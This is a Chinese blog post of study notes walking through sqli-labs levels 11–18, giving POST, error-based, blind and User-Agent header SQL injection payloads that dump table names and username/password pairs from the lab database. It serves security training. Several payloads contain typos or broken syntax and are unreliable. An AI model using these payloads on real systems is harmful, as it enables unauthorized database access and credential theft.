Sqli-labs-master Less11-Less20学习笔记

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

该类型存在错误回显,登录成功回显。存在信息显示点位。能够通过联合查询,报错注入等方式来注入。

开启Brup Suite,设置代理,在登陆界面随机输入admin进行登录,抓包:

 

 

 

 

将包发送给Repeater:

 

 

 

修改uanme,测试能否注入:

admin ' and 1=1 --+

admin' and 1=2 --+

 

 

 

 很明显该位置可注入,且有报错信息。

接下来有两种途径:

1.用union联合查询来获取字段。

由于是重复性工作,只在此列出注入语句,不放图。

获取库名:uname=admini' union select 1,database()--+&passwd=1111&submit=Submit

获取表名:uname=admini' union select 1,grounp_concat(table_name) from information_schema.tables where table_schema=database() --+&passwd=1111&submit=Submit

获取列名:uname=admini' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' limit 3,1--+&passwd=1111&submit=Submit

获取字段:uname=admini' union select group_concat(users,':',password) from users --+&passwd=1111&submit=Submit

2.用 extractvalue函数。

简单介绍下extractvalue()函数:格式:extractvalue(xml_frag,XPath_expr)

extractvalue()函数用于读取XML文件的函数,需要两个参数,目标XML名称和路径。xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

 

获取库名:uname=admin' and extractvalue(1,concat(0x7e,(select database())))--+&passwd=111&submit=Submit

 

 

 

获取表名:
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+&passwd=111&submit=Submit

 

 

 获取列名:

uname=admin' and extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_name='users'),32,64)))--+&passwd=111&submit=Submit

由于extractvalue()函数返回值只有32个字符,故在此使用了截断显示。

 

 

 

 获取字段:

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,password) from users )))--+&passwd=111&submit=Submit

 

 

 其他字段可用substring()函数来截断。

 

 

Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

 尝试了使用双引号来闭合,但是失败了。查看源代码:

 $uname='"'.$uname.'"';
 $passwd='"'.$passwd.'"';

 @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

构造闭合:
uname=admin") and 1=1 --+&passwd=admi&submit=Submit

uname=admin") and 1=2 --+&passwd=admi&submit=Submit

 

法一:union联合查询。

获取回显位置:uname=admin") union select 1,2 --+&passwd=admi&submit=Submit

获取库名:uname=aadmin") union select database(),2--+&passwd=admi&submit=Submit

获取表名:uname=aadmin") union select 1,group_concat(table_name) from information_schema.tables where table_schem=database()--+&passwd=admi&submit=Submit

获取列名:uname=aadmin") union select 1,group_concat(column_name) from information_schema.columns where table_name=users--+&passwd=admi&submit=Submit

获取字段:uname=aadmin") union select 1,group_concat(username,':',password) from users--+&passwd=admi&submit=Submit;

 

法二:extractvalue()函数利用报错获取相关信息。

获取库名:uname=aadmin") and extractvalue(1,concat(0x7e,(select database())))--+&passwd=admi&submit=Submit;

获取表名:uname=aadmin") and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))--+&passwd=admi&submit=Submit;

同样需要注意,extractvalue()的返回值只有32个字节,如需要得到更多信息,需要使用substring()截断显示,这里就不写出来了,可以参考上面Less-11的payload。

获取列名:uname=aadmin") and extractvalue(1,concat(0x7e,(select group_concat(schumn_name)from information_schema.cheumns where table_name='users')))--+&passwd=admi&submit=Submit;

获取字段:uname=aadmin") and extractvalue(1,concat(0x7e,(select 1,group_concat(username,':',password) from users)))--+&passwd=admi&submit=Submit;

 

 

 

 

Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

该类型,成功和失败都无相关回显。故可以考虑使用报错注入和盲注。

寻找闭合符号:uname=admin' and 1=1 --+&passwd=admin&submit=Submit

发现其闭合方式为:('admin')

寻找注入点:
uname=admin') and 1=1 --+&passwd=admin&submit=Submit

uname=admin') and 1=2 --+&passwd=admin&submit=Submit

发现无论登录成功或者失败,页面都没有相关提示。

使用POST报错型注入:extractvalue(),时间延时盲注和布尔判度盲注

法一:extractvalue()报错信息注入

查询数据库名:uname=admin') and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit

获取表名:uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit

获取列名:uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit

获取字段:uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(username,':',passowrd) from users ))) --+&passwd=admin&submit=Submit

 

法二:时间延迟注入sleep()

盲注库名:uname=admin') and if(left(database(),1)='s',sleep(3),1)--+&passwd=a&submit=Submit

盲注表名:uname=admin') and if(left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)='e',sleep(5),1)--+&passwd=a&submit=Submit

后面就是替换查询语句,替换匹配位置。 

 

 

 

 less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注) 

该类型,无错误回显,无成功和失败回显。只有页面有变化。也就是没有相关点能够输出信息,只能通过其他方式来判断注入的语句成功与否(页面延迟,页面变化)

盲注之前使用也不少,这里就直接上payload。

 

法一:时间盲注

先探测注入点:uname=admin' and sleep(3)--+&passwd=123&submit=Submit

页面等待了3秒才返回,说明该语句正确。

获取库名:uname=admin' and sleep(if((select database())='security',3,0))--+&passwd=123&submit=Submit

获取表名:uname=admin' and sleep(if(left(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)='e',3,0))--+&passwd=123&submit=Submit

获取列名:uname=admin' and sleep(if(left(select group_concat(column_name) from information_schema.columns where table_name=users)),1)=' ',3,0))--+&passwd=123&submit=Submit

获取字段:uname=admin' and sleep(if(left(select group_concat(username,password) from users)),1)=' ',3,0))--+&passwd=123&submit=Submit

 

法二:Bloor型盲注

Bloor盲注是通过页面的登录提示来判断是否字段是否正确。

先探测注入点:(这里使用万能语法进程探测,模拟未知账户和密码) uname=1' or 1=1--+&passwd=123&submit=Submit

获取库名:uname=1' or if(database(),1)>'a'--+&passwd=123&submit=Submit 可以使用二分法加快速度

获取表名:uname=1' or if((select group_concat(table_name) from information_scheam.tables where table_schema=database(),1)>'a'--+&passwd=123&submit=Submit

后面都是重复性语句了,就不一一表述了。

 

 

 

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

先判断注入点:uname=1") or 1=1 --+&passwd=&submit=Submit

页面显示登录成功,该注入点可用,闭合为("")

还是采用两种方法,时间盲注和bloor盲注。payload和15关基本一致,变化的只有闭合符号。故这里只列出两句样板。

 

时间盲注:uname=admin") and sleep(if(left(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)='e',3,0))--+&passwd=123&submit=Submit

Bloor盲注:uname=1' or if((select group_concat(table_name) from information_scheam.tables where table_schema=database(),1)>'a'--+&passwd=123&submit=Submit

 

 

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

 还是按照日常在登录名处进行注入,发现使用任何注入语句,都无法成功。查看源码发现在登录名处做了过滤,但是在密码处未做过滤。查了相关文档发现没有办法绕过,只能从密码处进行注入。

更具页面提示:password reset 故使用updatexml()函数或者双查询注入。

updatexml()函数用法和extractvalue()函数类似,区别在于:1.updatexml()函数用于更新数据,extractvalue()函数用于查询。2.updatexml()函数其语法为updatexml(目标文档名称,文档路径,更新内容)。

 

法一:updatexml()

查询数据库:uname=admin&passwd=01'and updatexml(1,concat(0x7e,(select database())),1) --+&submit=Submit

查询表名:uname=admin&passwd=01'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+&submit=Submit

查询列名:uname=admin&passwd=01'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1) --+&submit=Submit

查询字段:uname=admin&passwd=01'  and  updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit

 

 

Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)

尝试在用户名和密码出注入测试,发现不行。审计源码,账号和密码处都进行了过滤。但是在User-Agent处出入了数据库。尝试在头部信息进行注入。

获取库名:User-Agent:',1,updatexml(1,concat(0x7e,database(),0x7e),1))#

获取表名:User-Agent:',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#

获取列名:User-Agent:',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#

获取字段:User-Agent:',1,updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1))#

可用分段显示所有信息。

 

posted @ 2021-11-18 17:59  DSers  阅读(185)  评论(0)    收藏  举报